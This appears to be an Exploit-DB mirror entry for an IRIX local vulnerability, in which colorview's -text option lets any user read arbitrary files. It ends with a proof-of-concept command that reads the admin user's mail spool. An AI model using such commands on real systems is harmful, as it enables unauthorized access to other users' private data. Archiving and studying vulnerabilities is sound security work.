exploit-db-mirror/exploits/irix/local/19269.txt
Offensive Security b4c96a5864 DB: 2021-09-03
28807 changes to exploits/shellcodes
2021-09-03 20:19:21 +00:00

5 lines
No EOL
240 B
Text

source: https://www.securityfocus.com/bid/336/info
Colorview fails to validate that the user has access to the file supplied to the -text option. As a result, users can view arbitrary files.
/usr/sbin/colorview -text /var/spool/mail/admin